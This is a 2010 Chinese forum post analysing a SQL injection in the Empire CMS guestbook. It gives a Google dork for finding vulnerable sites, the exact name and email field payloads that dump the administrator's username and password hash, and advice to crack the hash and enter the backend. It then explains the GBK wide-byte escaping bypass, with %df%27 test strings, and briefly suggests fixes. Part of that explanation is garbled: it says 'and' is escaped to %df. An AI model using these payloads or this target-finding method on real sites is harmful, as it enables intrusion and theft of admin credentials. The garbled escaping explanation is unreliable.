服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 6468|回复: 0

帝国CMS留言板漏洞分析

[复制链接]
dirtysea 发表于 2010-1-15 13:42:29 | 显示全部楼层 |阅读模式
找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1
出来的是帝国CMS的留言本,在姓名处写:縗\
联系邮箱处写:
,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

提交后爆出账号密码

测试方法:利用google搜索关键字 inurl:e/tool/gbook/?bid=1,然后依照上面方式留言,显示结果即爆出管理员帐号和密码md5值,破解密码**后台。
只公布了oday的利用方法,并没有说明其中的一些原理,今天壮壮胆,跟大家分析一下
1.这个漏洞就是php注入,上面的注入语句大家也看到了
,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
**phome_enewsuser表段中username,password,rnd三个字段信息,**的条件是userid=1,排在第一位的,估计也是管理员,当然如果网站存在多个管理员,可以把1换成其他数字
2.姓名处写:縗\
为什么要写:縗\?这里涉及到一个双字节漏洞
要知道这个需要了解几个知识点
1)如果安装过php环境的朋友应该知道,在php.ini中有一个get_magic_quotes_gpc功能
当这个功能打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动加上转义符\
当这个功能开启时,字符串可以直接入库
2)注入大家知道,要用到“and”
and被php转义为%df,由于 get_magic_quotes_gpc开启,所以自动加入了“\”
“\"转换为十六进制后为%5C
由于看出,其实我们输入“and”被php转义成为%df%5c
但是当这些字符**mysql数据库进行GBK编码时,就会被认为这是一个宽字符,也就是"縗"
总结一下:
%df' ==>  %df\'  ==>  %df%5c'  ==>  縗'
这就是php中常见的宽字节漏洞,也称双字节漏洞
如我们在平时的检测过程中替代原来的 and 1=1
%df%27 or 1=1/*
%df%27 or 1=2/*
下面给出帝国CMS留言板oday的检测效果







我们知道了漏洞所在,修补方面就会有很多方案,比如在联系邮箱那进行一个长度的限制,进行一个提交值的判断等,同样由于是暴后台管理员帐号信息,适当修改默认后台地址也是有效阻止被入侵的方法之一

分析就到这里,在这里感谢溜客安全网的一些好朋友B.H.S.T安全技术小组,I.E.W安全技术小组给予我们一些帮助
感谢更多的朋友给我们帮助,希望大家能够喜欢溜客安全网
以上分析不到的地方,还请大家给予多多指点
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-19 06:35 , Processed in 0.141385 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表